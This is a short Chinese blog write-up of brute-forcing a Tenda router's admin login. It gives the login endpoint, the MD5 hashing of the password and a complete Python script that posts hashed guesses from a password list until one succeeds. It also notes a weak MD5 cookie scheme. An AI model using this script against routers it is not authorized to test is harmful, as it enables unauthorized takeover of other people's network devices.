记一次 Tenda 路由后台密码爆破

已有漏洞尝试

  • 先尝试乌云上 Tenda 的 cookie 注入漏洞,这个网上满天飞,基本没报什么希望,果然没用

暴力破解

  • 登录页尝试登录并抓包,发现请求 http://192.168.0.1/login/Auth,FORM 表单参数 usernamepassword,如下,响应只有一个 1
  • 21232f297a57a5a743894a0e4a801fc3 明显的 MD5 HASH,拿去彩虹表,自己测试的密码用的是 admin,比对一致,确定密码前台加密方式是 MD5
  • 请求方式以及参数还有错误响应都知道了,写脚本暴力破解即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

r""" POST 请求暴力破解管理员密码 """

import hashlib
import requests


def md5(source):
    r""" MD5 计算并返回 16 进制的字符串 """
    method = hashlib.md5()
    method.update(source.encode("UTF-8"))
    return method.hexdigest()


def yield_password():
    r""" 读取常用密码文件 """
    with open("./password.txt", "r") as file:
        for line in file.readlines():
            yield line.strip()


if __name__ == '__main__':
    url = "http://192.168.0.1/login/Auth"
    param = {"username": "admin", "password": ""}
    failed_resp = b'1'
    count = 0
    for password in yield_password():
        param["password"] = md5(password)
        resp = requests.post(url, param)
        if failed_resp != resp.content:
            print("Success hack: %s" % password)
            break
        else:
            count += 1
            print("Count: %s, password: %s" % (count, password))
  • 下面就是看运气了,不过还好,爆破成功

后续

  • 爆破成功后登录后台管理界面,查看现在的登录管理方式,改成 password 这个 cookie 了,值是密码的 MD5 HASH,真的安全吗?
原文地址:https://www.cnblogs.com/seliote/p/12862856.html